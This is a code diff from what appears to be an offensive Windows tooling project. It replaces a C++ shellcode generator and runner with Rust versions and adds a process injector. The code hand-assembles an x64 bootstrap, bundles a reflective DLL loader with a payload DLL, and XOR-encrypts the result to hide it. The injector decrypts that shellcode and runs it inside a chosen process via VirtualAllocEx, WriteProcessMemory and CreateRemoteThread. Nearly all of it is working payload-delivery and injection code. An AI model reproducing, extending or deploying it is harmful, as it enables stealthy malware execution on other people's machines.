std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
|
||||
std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
|
||||
std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
|
||||
|
||||
/*
|
||||
Form the complete shellcode with the following structure:
|
||||
- Bootstrap
|
||||
- RDI shellcode
|
||||
- Payload DLL bytes
|
||||
- User data
|
||||
*/
|
||||
|
||||
bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
|
||||
bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
|
||||
|
||||
// XOR with a random content length key
|
||||
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
|
||||
auto key = GenerateKey(bootstrap.size());
|
||||
XorCipher(&bootstrap, key);
|
||||
|
||||
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
|
||||
|
||||
WriteToFile(outputPath, bootstrap);
|
||||
std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
|
||||
|
||||
auto keyPath = outputPath + ".key";
|
||||
WriteToFile(keyPath, key);
|
||||
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void PrintHelp(char **argv) {
|
||||
std::cout << "\nUsage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
|
||||
std::cout << "\nArguments (required):" << std::endl;
|
||||
std::cout << "\t-l, --loader Path to loader file" << std::endl;
|
||||
std::cout << "\t-p, --payload Path to payload file" << std::endl;
|
||||
std::cout << "\t-n, --function Function name to call inside payload" << std::endl;
|
||||
std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl;
|
||||
std::cout << "\t-o, --output Path to output file" << std::endl;
|
||||
std::cout << "\nOptions:" << std::endl;
|
||||
std::cout << "\t-f, --flag Flag to run defined payload's defined function instead of DllMain" << std::endl;
|
||||
std::cout << "\t-h, --help Print this help message\n"
|
||||
<< std::endl;
|
||||
}
|
@ -1,10 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <getopt.h>
|
||||
#include <windows.h>
|
||||
|
||||
#include <iostream>
|
||||
|
||||
constexpr auto BOOTSTRAP_LEN = 85;
|
||||
|
||||
void PrintHelp(char **argv);
|
379
generator/src/main.rs
Normal file
379
generator/src/main.rs
Normal file
@ -0,0 +1,379 @@
|
||||
use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts};
|
||||
|
||||
use airborne_utils::calc_hash;
|
||||
use clap::Parser;
|
||||
use windows_sys::Win32::{
|
||||
System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
|
||||
System::{
|
||||
Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_SECTION_HEADER},
|
||||
SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY},
|
||||
},
|
||||
};
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(version)]
|
||||
struct Args {
|
||||
/// Path to the sRDI loader DLL
|
||||
#[arg(short, long = "loader")]
|
||||
loader_path: PathBuf,
|
||||
/// Path to the payload DLL
|
||||
#[arg(short, long = "payload")]
|
||||
payload_path: PathBuf,
|
||||
/// Name of the function to call in the payload DLL
|
||||
#[arg(short, long = "function")]
|
||||
function_name: String,
|
||||
/// Parameter to pass to the function
|
||||
#[arg(short = 'n', long)]
|
||||
parameter: String,
|
||||
/// Path to the output file
|
||||
#[arg(short, long = "output")]
|
||||
output_path: PathBuf,
|
||||
/// Flag to pass to the loader (by default DllMain is called)
|
||||
#[arg(short, long, default_value_t = 0)]
|
||||
flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
|
||||
}
|
||||
|
||||
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
|
||||
const LOADER_ENTRY_NAME: &str = "loader";
|
||||
const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
|
||||
|
||||
fn main() {
|
||||
let args = Args::parse();
|
||||
|
||||
// preserve the path from being dropped
|
||||
let output_path = args.output_path.clone();
|
||||
|
||||
let loader_path_str = args.loader_path.to_str().unwrap();
|
||||
let payload_path_str = args.payload_path.to_str().unwrap();
|
||||
let output_path_str = args.output_path.to_str().unwrap();
|
||||
|
||||
println!("[+] reflective loader: {}", loader_path_str);
|
||||
println!("[+] payload: {}", payload_path_str);
|
||||
println!("[+] output: {}", output_path_str);
|
||||
|
||||
let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL");
|
||||
let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL");
|
||||
let function_hash = calc_hash(args.function_name.as_bytes());
|
||||
|
||||
let mut shellcode = gen_sc(
|
||||
&mut loader_b,
|
||||
&mut payload_b,
|
||||
function_hash,
|
||||
args.parameter,
|
||||
args.flag,
|
||||
);
|
||||
|
||||
println!("\n[+] xor'ing shellcode");
|
||||
let key = gen_xor_key(shellcode.len());
|
||||
airborne_utils::xor_cipher(&mut shellcode, &key);
|
||||
let mut key_output_path = output_path.clone().into_os_string();
|
||||
key_output_path.push(".key");
|
||||
let key_output_path_str = key_output_path.to_str().unwrap();
|
||||
|
||||
println!("\n[+] writing shellcode to '{}'", output_path_str);
|
||||
fs::write(output_path, shellcode).expect("failed to write shellcode to output file");
|
||||
println!("[+] writing xor key to '{}'", key_output_path_str);
|
||||
fs::write(key_output_path, key).expect("failed to write xor key to output file");
|
||||
}
|
||||
|
||||
fn gen_sc(
|
||||
loader_b: &mut Vec<u8>,
|
||||
payload_b: &mut Vec<u8>,
|
||||
function_hash: u32,
|
||||
parameter: String,
|
||||
flag: u32,
|
||||
) -> Vec<u8> {
|
||||
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)
|
||||
.expect("failed to get loader entry point");
|
||||
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
|
||||
println!("[+] loader offset: {:#x}", loader_offset);
|
||||
|
||||
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
|
||||
|
||||
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
|
||||
// calculating little-endian representations of variables (flag, parameter length & offset,
|
||||
// function hash, payload offset, loader address) beforehand
|
||||
|
||||
let mut bootstrap: Vec<u8> = Vec::new();
|
||||
|
||||
/*
|
||||
1.) save the current location in memory for calculating offsets later
|
||||
*/
|
||||
|
||||
// call 0x00 (this will push the address of the next function to the stack)
|
||||
bootstrap.push(0xe8);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
|
||||
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
|
||||
bootstrap.push(0x59);
|
||||
|
||||
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
|
||||
bootstrap.push(0x49);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xc8);
|
||||
|
||||
/*
|
||||
2.) align the stack and create shadow space
|
||||
*/
|
||||
|
||||
// push rsi - save original value
|
||||
bootstrap.push(0x56);
|
||||
|
||||
// mov rsi, rsp - store our current stack pointer for later
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xe6);
|
||||
|
||||
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0xe4);
|
||||
bootstrap.push(0xf0);
|
||||
|
||||
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0xec);
|
||||
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
|
||||
|
||||
/*
|
||||
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
|
||||
*/
|
||||
|
||||
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0x4C);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(4 * 8); // 5th arg
|
||||
|
||||
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0x6C);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(4 * 8); // 5th arg
|
||||
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
|
||||
|
||||
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
|
||||
bootstrap.push(0xC7);
|
||||
bootstrap.push(0x44);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(5 * 8); // 6th arg
|
||||
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
|
||||
|
||||
/*
|
||||
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
|
||||
*/
|
||||
|
||||
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
|
||||
bootstrap.push(0x41);
|
||||
bootstrap.push(0xb9);
|
||||
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
|
||||
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
|
||||
|
||||
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
|
||||
bootstrap.push(0x49);
|
||||
bootstrap.push(0x81);
|
||||
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
|
||||
let parameter_offset =
|
||||
(BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32;
|
||||
bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone());
|
||||
|
||||
// mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx
|
||||
bootstrap.push(0xba);
|
||||
bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone());
|
||||
|
||||
// add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x81);
|
||||
bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction
|
||||
let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
|
||||
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
|
||||
|
||||
/*
|
||||
5.) call the reflective loader
|
||||
*/
|
||||
|
||||
// call <loader_offset> - call the reflective loader address after calculation
|
||||
bootstrap.push(0xe8);
|
||||
let loader_address =
|
||||
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
|
||||
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
|
||||
|
||||
// padding
|
||||
bootstrap.push(0x90);
|
||||
bootstrap.push(0x90);
|
||||
|
||||
/*
|
||||
6.) restore the stack and return to the original location (caller)
|
||||
*/
|
||||
|
||||
// mov rsp, rsi - reset original stack pointer
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xf4);
|
||||
|
||||
// pop rsi - put things back where they were left
|
||||
bootstrap.push(0x5e);
|
||||
|
||||
// ret - return to caller and resume execution flow (avoids crashing process)
|
||||
bootstrap.push(0xc3);
|
||||
|
||||
// padding
|
||||
bootstrap.push(0x90);
|
||||
bootstrap.push(0x90);
|
||||
|
||||
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
|
||||
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
|
||||
} else {
|
||||
println!("[+] bootstrap size: {}", bootstrap.len());
|
||||
}
|
||||
|
||||
println!("[+] reflective loader size: {}", loader_b.len());
|
||||
println!("[+] payload size: {}", payload_b.len());
|
||||
|
||||
let mut shellcode = Vec::new();
|
||||
|
||||
shellcode.append(&mut bootstrap);
|
||||
shellcode.append(loader_b);
|
||||
shellcode.append(payload_b);
|
||||
shellcode.append(&mut parameter.as_bytes().to_vec());
|
||||
|
||||
/*
|
||||
the final PIC shellcode will have the following memory layout:
|
||||
- bootstrap
|
||||
- sRDI shellcode
|
||||
- payload DLL bytes
|
||||
- user data
|
||||
*/
|
||||
|
||||
println!("\n[+] total shellcode size: {}", shellcode.len());
|
||||
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
|
||||
println!(
|
||||
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
|
||||
);
|
||||
println!(
|
||||
"[+] rcx: {:#x} rdx: {:#x} r8: {}, r9: {:#x}, arg5: shellcode.bin address, arg6: {}",
|
||||
payload_offset,
|
||||
function_hash,
|
||||
parameter,
|
||||
parameter.len(),
|
||||
flag
|
||||
);
|
||||
|
||||
shellcode
|
||||
}
|
||||
|
||||
fn gen_xor_key(keysize: usize) -> Vec<u8> {
|
||||
let mut key = Vec::new();
|
||||
|
||||
for _ in 0..keysize {
|
||||
key.push(rand::random::<u8>());
|
||||
}
|
||||
|
||||
key
|
||||
}
|
||||
|
||||
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
|
||||
for (e_name, addr) in unsafe { get_exports(base_ptr) } {
|
||||
if e_name == name {
|
||||
return Some(addr as _);
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
|
||||
let mut exports = BTreeMap::new();
|
||||
|
||||
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
|
||||
|
||||
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
panic!("Failed to get DOS header");
|
||||
}
|
||||
|
||||
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
|
||||
let export_dir_ptr = rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
|
||||
.VirtualAddress,
|
||||
) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||
|
||||
let export_names = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfNames,
|
||||
) as *const u32,
|
||||
(*export_dir_ptr).NumberOfNames as _,
|
||||
);
|
||||
let export_functions = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfFunctions,
|
||||
) as *const u32,
|
||||
(*export_dir_ptr).NumberOfFunctions as _,
|
||||
);
|
||||
let export_ordinals = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfNameOrdinals,
|
||||
) as *const u16,
|
||||
(*export_dir_ptr).NumberOfNames as _,
|
||||
);
|
||||
|
||||
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
|
||||
let export_name =
|
||||
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
|
||||
|
||||
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
|
||||
let export_ordinal = export_ordinals[i] as usize;
|
||||
exports.insert(
|
||||
export_name.to_string(),
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
export_functions[export_ordinal],
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
exports
|
||||
}
|
||||
|
||||
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
|
||||
(base_ptr as usize + rva) as *mut T
|
||||
}
|
||||
|
||||
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
|
||||
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
|
||||
&nt_header_ref.OptionalHeader as *const _ as _,
|
||||
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
|
||||
);
|
||||
let section_count = nt_header_ref.FileHeader.NumberOfSections;
|
||||
|
||||
for i in 0..section_count as usize {
|
||||
let virtual_addr = (*section_header_ptr.add(i)).VirtualAddress;
|
||||
let virtual_size = (*section_header_ptr.add(i)).Misc.VirtualSize;
|
||||
|
||||
// check if the rva is within the current section
|
||||
if virtual_addr <= rva && virtual_addr + virtual_size > rva {
|
||||
// adjust the rva to be relative to the start of the section in the file
|
||||
rva -= (*section_header_ptr.add(i)).VirtualAddress;
|
||||
rva += (*section_header_ptr.add(i)).PointerToRawData;
|
||||
|
||||
return base + rva as usize;
|
||||
}
|
||||
}
|
||||
|
||||
0
|
||||
}
|
16
injector/Cargo.toml
Normal file
16
injector/Cargo.toml
Normal file
@ -0,0 +1,16 @@
|
||||
[package]
|
||||
name = "airborne-injector"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
lexopt = "0.3.0"
|
||||
airborne-utils = { path = "../utils" }
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.52.0"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Diagnostics_ToolHelp",
|
||||
]
|
@ -1,56 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
#include <iostream>
|
||||
|
||||
#include "../shared/crypto.hpp"
|
||||
#include "../shared/futils.hpp"
|
||||
|
||||
#define VERBOSE 1
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc != 3) {
|
||||
std::cout << "\nUsage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>\n"
|
||||
<< std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
|
||||
#endif
|
||||
|
||||
auto shellcodeContents = ReadFromFile(argv[1]);
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
|
||||
#endif
|
||||
|
||||
auto key = ReadFromFile(argv[2]);
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] XOR'ing shellcode" << std::endl;
|
||||
#endif
|
||||
|
||||
XorCipher(&shellcodeContents, key);
|
||||
|
||||
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (!baseAddress) {
|
||||
std::cout << "[!] Failed to allocate memory" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
|
||||
#endif
|
||||
|
||||
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
|
||||
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
|
||||
#endif
|
||||
|
||||
__asm__("jmp *%0" ::"r"(baseAddress));
|
||||
|
||||
return 0;
|
||||
}
|
62
injector/src/inject.rs
Normal file
62
injector/src/inject.rs
Normal file
@ -0,0 +1,62 @@
|
||||
use std::{mem::transmute, ptr::null_mut};
|
||||
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
||||
System::{
|
||||
Diagnostics::Debug::WriteProcessMemory,
|
||||
Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
|
||||
Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS},
|
||||
},
|
||||
};
|
||||
|
||||
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
|
||||
let dll_len = dll_vec.len();
|
||||
|
||||
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
|
||||
|
||||
if h_process == INVALID_HANDLE_VALUE {
|
||||
panic!("failed to open process");
|
||||
}
|
||||
|
||||
let base_addr_ptr = VirtualAllocEx(
|
||||
h_process,
|
||||
null_mut(),
|
||||
dll_len,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
);
|
||||
|
||||
if base_addr_ptr.is_null() {
|
||||
panic!("failed to allocate memory");
|
||||
}
|
||||
|
||||
println!("[+] allocated memory at {:p}", base_addr_ptr);
|
||||
|
||||
if WriteProcessMemory(
|
||||
h_process,
|
||||
base_addr_ptr,
|
||||
dll_vec.as_ptr() as _,
|
||||
dll_len,
|
||||
null_mut(),
|
||||
) == 0
|
||||
{
|
||||
panic!("failed to write process memory");
|
||||
}
|
||||
|
||||
let h_thread = CreateRemoteThread(
|
||||
h_process,
|
||||
null_mut(),
|
||||
0,
|
||||
Some(transmute(base_addr_ptr as usize)),
|
||||
null_mut(),
|
||||
0,
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
if h_thread == INVALID_HANDLE_VALUE {
|
||||
panic!("failed to create remote thread");
|
||||
}
|
||||
|
||||
CloseHandle(h_thread);
|
||||
CloseHandle(h_process);
|
||||
}
|
89
injector/src/main.rs
Normal file
89
injector/src/main.rs
Normal file
@ -0,0 +1,89 @@
|
||||
mod inject;
|
||||
mod process;
|
||||
|
||||
use std::{fs, path::PathBuf, process::exit};
|
||||
|
||||
use lexopt::Arg::{Long, Short};
|
||||
|
||||
#[derive(Debug)]
|
||||
struct Args {
|
||||
procname: String,
|
||||
shellcode_path: PathBuf,
|
||||
keyfile_path: PathBuf,
|
||||
offset: usize,
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let args = parse_args();
|
||||
let proc_id =
|
||||
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
|
||||
|
||||
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
|
||||
|
||||
if args.offset >= shellcode.len() {
|
||||
println!("[!] offset is greater or equal than shellcode length");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
|
||||
println!("[+] xor'ing shellcode");
|
||||
airborne_utils::xor_cipher(&mut shellcode, &keyfile);
|
||||
|
||||
println!("[+] injecting shellcode into {}", args.procname);
|
||||
unsafe { inject::inject(proc_id, shellcode) };
|
||||
|
||||
println!("[+] done");
|
||||
}
|
||||
|
||||
fn parse_args() -> Args {
|
||||
let mut args = Args {
|
||||
procname: String::new(),
|
||||
shellcode_path: PathBuf::new(),
|
||||
keyfile_path: PathBuf::new(),
|
||||
offset: 0,
|
||||
};
|
||||
|
||||
let mut parser = lexopt::Parser::from_env();
|
||||
|
||||
while let Some(arg) = parser.next().expect("failed to parse arguments") {
|
||||
match arg {
|
||||
Short('p') => {
|
||||
args.procname = parser
|
||||
.value()
|
||||
.expect("failed to parse process name")
|
||||
.into_string()
|
||||
.expect("failed to convert process name into String");
|
||||
}
|
||||
Short('s') => {
|
||||
args.shellcode_path = parser
|
||||
.value()
|
||||
.expect("failed to parse shellcode path")
|
||||
.into();
|
||||
}
|
||||
Short('k') => {
|
||||
args.keyfile_path = parser.value().expect("failed to parse keyfile path").into();
|
||||
}
|
||||
Short('h') | Long("help") => {
|
||||
print_usage();
|
||||
exit(0);
|
||||
}
|
||||
_ => {
|
||||
println!("[!] invalid argument: {:?}", arg);
|
||||
print_usage();
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if args.procname.is_empty() || !args.shellcode_path.exists() || !args.keyfile_path.exists() {
|
||||
println!("[!] missing or invalid argument(s)");
|
||||
print_usage();
|
||||
exit(1);
|
||||
}
|
||||
|
||||
args
|
||||
}
|
||||
|
||||
fn print_usage() {
|
||||
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
|
||||
}
|